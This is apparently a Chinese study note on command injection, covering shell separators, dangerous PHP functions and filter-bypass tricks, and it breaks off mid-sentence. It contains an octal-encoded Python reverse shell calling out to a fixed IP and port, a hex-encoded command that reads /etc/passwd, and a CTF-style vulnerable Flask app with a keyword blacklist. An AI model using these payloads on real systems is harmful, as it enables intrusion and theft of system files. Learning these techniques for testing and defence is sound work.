管道符:

Windows:|–>直接执行后面的语句

​ ||–>如果前面执行的语句执行出错,则执行后面的语句

​ &–>如果前面的语句为假则直接执行后面的语句,前面的语句可真可假

​ &&–>如果前面的语句为真先执行第一个命令后执行第二个命令;为假 则直接出错,也不执行后面的语句

linux: ;–>执行完前面的命令执行后面的

​ |–>显示后面语句的执行结果

​ ||–>当前面的语句执行出错时,执行后面的语句

​ &–>如果前面的语句为假则直接执行后面的语句,前面的语句可真可假

​ &&–>如果前面的语句为真先执行第一个命令后执行第二个命令;为假 则直接出错,也不执行后面的语句

​ ()–>如果想执行几个命令,则需要用命令分隔符分号隔开每个命令,并使用圆括号()把所有命令组合起

常见危险函数:

1.system():执行shell命令,向dos发送一条指令,如system("pause")可以实现冻结屏幕,便于观察程序的执行结果;system("CLS")可以实现清屏操作;而调用color函数可以改变控制台的前景色和背景。

int system(const char *command)

2.passthru():只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上

3.exec():在PHP中,执行一个外部程序, exec() 执行 command 参数所指定的命令。

语法: exec(string $command, array &$output = ?, int &$return_var = ?): string

4.shell_exec():是PHP中的一个内置函数,用于通过shell执行命令并以字符串的形式返回完整的输出

5.popen():通过创建一个管道,调用 fork 产生一个子进程,执行一个 shell 以运行命令来开启一个进程。这个进程必须由 pclose() 函数关闭,而不是 fclose() 函数。pclose() 函数关闭标准 I/O 流,等待命令执行结束,然后返回 shell 的终止状态。如果 shell 不能被执行,则 pclose() 返回的终止状态与 shell 已执行 exit 一样。

语法:FILE * popen ( const char * command , const char * type );

​ int pclose ( FILE * stream );

6.proc_open():执行一个命令,并且打开用来输入/输出的文件指针,类似 popen() 函数, 但是 proc_open() 提供了更加强大的控制程序执行的能力。

语法:resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )

7.pcntl_exec():在当前进程空间执行指定程序

语法:void pcntl_exec ( string $path [, array $args [, array $envs ]] )

8.ob_start():打开输出控制缓冲,此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(消息头除外),相反需要输出的内容被存储在内部缓冲区中。

语法:ob_start(callable $callback = null, int $chunk_size = 0, int $flags = PHP_OUTPUT_HANDLER_STDFLAGS): bool

9.eval():把字符串作为PHP代码执行

语法:eval(string $code): mixed

10.assert():检查断言是否为 false

https://www.php.net/manual/zh/function.assert.php

11.preg_replace:执行一个正则表达式的搜索和替换

12.phpinfo():这个文件里面包含了PHP的编译选项,启动的扩展、版本、服务器配置信息、环境变量、操作系统信息、path变量等非常重要的敏感配置信息

13.symlink():一般是在linux服务器上使用的,为一个目标建立一个连接,在读取这个链接所连接的文件的内容,并返回内容

14.getenv:获取一个环境变量的值

15.putenv($a):添加$a到服务器环境变量,但环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态

16.`(反单引号):用反引号,将shell命令引起来,可以将命令的输出值赋给变量。ps:$() 与 反引号 `` 其实效果是一样的

常见过滤绕过

编码绕过

如果命令注入的网站过滤了某些分割符,可以将分隔符编码后(url编码,base64等)绕过

八进制绕过

$(printf “\154\163”)//ls命令,这个编码后可以拼接

//这里过滤了-.等符号,只允许0-9a-zA-Z”>\$();

echo$IFS$9$(printf$IFS$9”\163\75\137\137\151\155\160\157\162\164\137\137\50\42\163\157\143\153\145\164\42\51\56\163\157\143\153\145\164\50\137\137\151\155\160\157\162\164\137\137\50\42\163\157\143\153\145\164\42\51\56\101\106\137\111\116\105\124\54\137\137\151\155\160\157\162\164\137\137\50\42\163\157\143\153\145\164\42\51\56\123\117\103\113\137\123\124\122\105\101\115\51\73\163\56\143\157\156\156\145\143\164\50\50\42\64\67\56\61\60\60\56\61\62\60\56\61\62\63\42\54\62\63\63\63\51\51\73\137\137\151\155\160\157\162\164\137\137\50\42\157\163\42\51\56\144\165\160\62\50\163\56\146\151\154\145\156\157\50\51\54\60\51\73\137\137\151\155\160\157\162\164\137\137\50\42\157\163\42\51\56\144\165\160\62\50\163\56\146\151\154\145\156\157\50\51\54\61\51\73\137\137\151\155\160\157\162\164\137\137\50\42\157\163\42\51\56\144\165\160\62\50\163\56\146\151\154\145\156\157\50\51\54\62\51\73\160\75\137\137\151\155\160\157\162\164\137\137\50\42\163\165\142\160\162\157\143\145\163\163\42\51\56\143\141\154\154\50\133\42\57\142\151\156\57\142\141\163\150\42\54\42\55\151\42\135\51\73”)>$(printf$IFS$9”\57”)detect$(printf$IFS$9”\56”)py

echo ‘python反弹shell的payload’ > /detect.py

1

2

3

from flask import Flask

from flask import render_template,request

import subprocess,re

app = Flask(name)

@app.route(‘/‘,methods=[‘GET’])

def index():

return render_template(‘index.html’)

@app.route(‘/run’,methods=[‘POST’])

def run():

cmd = request.form.get(“cmd”)

if re.search(r’’’[^0-9a-zA-Z”>\$();]’’’,cmd):

​ return ‘Hacker!’

if re.search(r’’’ping|wget|curl|bash|perl|python|php|kill|ps’’’,cmd):

​ return ‘Hacker!’

p = subprocess.Popen(cmd,stderr=subprocess.STDOUT, stdout=subprocess.PIPE,shell=True,close_fds=True)

try:

​ (msg, errs) = p.communicate(timeout=5)

​ return msg

except Exception as e:

​ return ‘Error!’

app.run(host=’0.0.0.0’,port=’5000’)

十六进制绕过

echo “636174202F6574632F706173737764” | xxd -r -p|bash

十六进制字符序列

值得注意的是,这种方法不适用于所有PHP函数,这种变量函数方法不能用于构造诸如echo、print、unset()、isset()、empty()、include、require等系统特殊函数,但可以使用包装函数来构造它们

空格过滤

linux内置分隔符:${IFS},$IFS,$IFS$9

利用重定向符<>

>,+过滤

对于 >,+ 等 符号的过滤 ,$PS2变量为>,$PS4变量则为+

关键词绕过

通过拆分命令达到绕过的效果:a=l;b=s;$a$b

空变量绕过:cat fl${x}ag cat tes$(z)t/flag

控制环境变量绕过:

先利用echo $PATH得到环境变量 => “/usr/local/….blablabla”

接着利用echo $